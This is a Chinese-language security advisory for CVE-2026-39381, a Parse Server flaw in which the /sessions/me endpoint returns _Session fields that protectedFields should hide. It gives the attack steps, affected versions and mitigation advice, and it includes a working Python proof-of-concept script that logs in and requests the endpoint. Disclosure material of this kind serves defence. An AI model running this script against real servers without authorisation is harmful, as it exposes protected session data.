IPBUF安全漏洞报告
English
CVE-2026-39381 CVSS 4.3 中危

CVE-2026-39381 Parse Server信息泄露漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39381
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

信息泄露Parse ServerCVE-2026-39381Session Management

漏洞概述

Parse Server在特定版本前存在信息泄露漏洞。当服务器操作员通过protectedFields选项配置了受保护的_Session字段时,GET /sessions/me端点未能正确过滤这些字段。经过身份验证的用户只需发送一个请求,即可获取本应受保护的自身会话敏感信息,而其他端点则正确剥离了这些字段。该问题已在9.8.0-alpha.7及8.6.75版本中修复。

技术细节

该漏洞源于Parse Server在处理用户会话信息时,不同端点之间的数据过滤逻辑存在不一致性。Parse Server允许管理员通过`protectedFields`配置来定义`_Session`类中的敏感字段,以防止未经授权的访问。在受影响版本中,通用的`GET /sessions`和`GET /sessions/:objectId`端点正确实施了这一安全策略,会自动剥离受保护字段。然而,用于获取当前会话信息的`GET /sessions/me`端点却存在逻辑缺陷,直接返回了数据库中的原始记录,忽略了`protectedFields`配置。这使得任何已登录的攻击者都能通过构造简单的HTTP请求,绕过预期的安全限制,获取包含敏感数据的完整会话对象,造成了信息泄露风险。

攻击链分析

STEP 1
步骤1:用户认证
攻击者使用合法的凭证(用户名和密码)登录Parse Server,获取有效的Session Token。
STEP 2
步骤2:发送漏洞请求
攻击者携带获取到的Session Token,向GET /sessions/me接口发送请求。
STEP 3
步骤3:获取敏感数据
服务器端未正确过滤受保护字段,直接返回了包含敏感信息的完整Session对象,攻击者解析响应获取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://localhost:1337/parse" # Step 1: Authenticate to obtain a valid session token login_payload = { "username": "victim", "password": "password123" } try: login_resp = requests.post(f"{target_url}/login", json=login_payload) if login_resp.status_code != 200: print("[-] Login failed. Check credentials.") exit(1) session_token = login_resp.json().get("sessionToken") print(f"[+] Logged in. Session Token: {session_token}") # Step 2: Exploit the vulnerability via /sessions/me # The vulnerable endpoint ignores 'protectedFields' headers = { "X-Parse-Application-Id": "YOUR_APP_ID", "X-Parse-Session-Token": session_token } exploit_resp = requests.get(f"{target_url}/sessions/me", headers=headers) # Step 3: Check for leaked protected fields if exploit_resp.status_code == 200: data = exploit_resp.json() print("[+] Successfully retrieved session data:") print(data) # Check if sensitive fields (e.g. 'protectedField') are present if 'protectedField' in data or 'sensitiveData' in data: print("[!] VULNERABILITY CONFIRMED: Protected fields are leaked!") else: print("[!] Protected fields might not be configured or already patched.") else: print(f"[-] Request failed with status code: {exploit_resp.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Parse Server < 9.8.0-alpha.7
Parse Server < 8.6.75

防御指南

临时缓解措施
如果无法立即升级,建议严格限制对Parse Server API的网络访问,仅允许可信IP访问,并密切监控对/sessions/me端点的访问日志,排查异常的数据读取行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表